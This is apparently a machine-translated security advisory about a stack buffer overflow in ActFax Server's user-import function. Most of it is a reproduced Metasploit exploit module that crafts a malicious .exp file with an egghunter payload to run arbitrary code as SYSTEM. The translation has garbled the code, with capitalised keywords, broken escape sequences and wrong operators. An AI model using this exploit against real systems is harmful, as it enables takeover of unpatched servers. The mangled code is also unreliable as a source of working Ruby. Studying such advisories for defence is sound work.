ActFax 'import Users from file' function Remote Stack Buffer Overflow Vulnerability

Release date: 2012-09-07
Updated on:

Affected Systems:
ActFax
Description:
--------------------------------------------------------------------------------
Bugtraq id: 55457

ActFax Server is a fax Server software for sending and receiving faxes in Windows or UNIX applications.

The Import Users from File () function of ActFax (ActiveFax Server) has the remote stack buffer overflow vulnerability. This vulnerability allows attackers to execute arbitrary code at system level.

<* Source: Craig Freyman
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

##
# This file is part of the Metasploit Framework and may be subject
# Redistribution and specified cial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# Http://metasploit.com/framework/
##

Require 'msf/core'

Class Metasploit3 <Msf: Exploit: Remote
Rank = NormalRanking

Include Msf: Exploit: FILEFORMAT
Include Msf: Exploit: Remote: Egghunter

Def initialize (info = {})
Super (update_info (info,
'Name' => 'activefax (ActFax) 4.3 Client Importer Buffer overflow ',
'Description' => % q {
This module exploits a vulnerability in ActiveFax Server. The vulnerability is
A stack based buffer overflow in the "Import Users from File" function, due to
Insecure usage of strcpy while parsing the csv formatted file. The module creates
. Exp file that must be imported with ActiveFax Server. The module has been tested
Successfully on ActFax Server 4.32 over Windows XP SP3 and Windows 7 SP1. In
Windows XP case, when ActFax runs as a service, it will execute as SYSTEM.
},
'License '=> MSF_LICENSE,
'Author' =>
[
'Craig Freyman ', # Vulnerability discovery and PoC
'Brandon perry', # Metasploit module
'Juan vazquez' # Metasploit module
],
'References '=>
[
['Edb', '123'],
['Url', 'HTTP: // www.pwnag3.com/2012/08/actfax-local-privilege-escalation.html']
],
'Defaultopexception' =>
{
'Existfunction' => 'process ',
},
'Platform' => 'win ',
'Payload' =>
{
'Space' => 4000,
'Badchars' => "",
'Disablenops' => true,
},

'Targets' =>
[
['Actfax 4.32/Windows XP SP3 EN/Windows 7 SP1 ',
{
'Ret '=> 0x00401b22, # Ret from ActFax.exe]
'Offset' => 512
}
]
],
'Privileged' => true,
'Disclosuredate' => 'Aug 28 2012 ',
'Defaulttarget' => 0 ))

Register_options ([OptString. new ('filename', [false, 'The file name. ', 'msf. exp']),], self. class)

End

Def exploit

# These badchars do not apply to the final payload
Badchars = (0x00 .. 0x20). to_a.pack ("C *") + "\ x7c"

Eggoptions =
{
: Checksum => true,
: Eggtag => 'w00t'
}

Hunter, egg = generate_egghunter (payload. encoded, badchars, eggoptions)

['X86/alpha_upper ']. each {| name |
Enc = framework. encoders. create (name)
If name = ~ /Alpha/
Enc. datastore. import_options_from_hash ({'bufferregister '=> 'Esp '})
End
Hunter = enc. encode (hunter, nil, nil, platform)
}

Buffer = "\ x83 \ xC4 \ x7f" * 19 # add esp, byte 0xff
Buffer <"\ x83 \ xC4 \ x23" # add esp, byte 0x23
Buffer Buffer <rand_text (target ['offset']-buffer. length, badchars)
Buffer <[target. ret]. pack ("V ")
Buffer <egg

File = "User Name \ tEntire User Name \ tPassword \ tAlias-Names \ tGroup \ tDirect Dialing \ tCost Account \ tPermissions \ tComments \ tUser-Defined \ t"
File <"Predefined Settings \ tName 1 \ tName 2 \ tName 3 \ tName 4 \ tName 5 \ tDepartment \ tAttention of \ tPhone 1 \ tPhone 2 \ tFax Number \ tE-Mail \ t"
File <"Coverpage Non-Windows \ tOverlay Non-Windows \ tCoverpage Windows \ tOverlay Windows \ tUser-Defined \ tPrinter Settings \ tAutomatic Printing Outgoing \ t"
File <"Printer Name Outgoing \ tReport Outgoing \ tAutomatic Printing Incoming \ tPrinter Name Incoming \ tReport Incoming \ tNotification Outgoing \ t"
File <"Email Outgoing \ tNotification Incoming \ tEmail Incoming \ tAttach Original Message \ tUser-Defined Archive Settings \ tExport Outgoing \ t"
File <"Export Incoming \ tExport-Path \ tMark as Read \ r \ n"
File <buffer
File <"\ r \ n"

File_create (file)

End
End

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

ActFax
------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.actfax.com/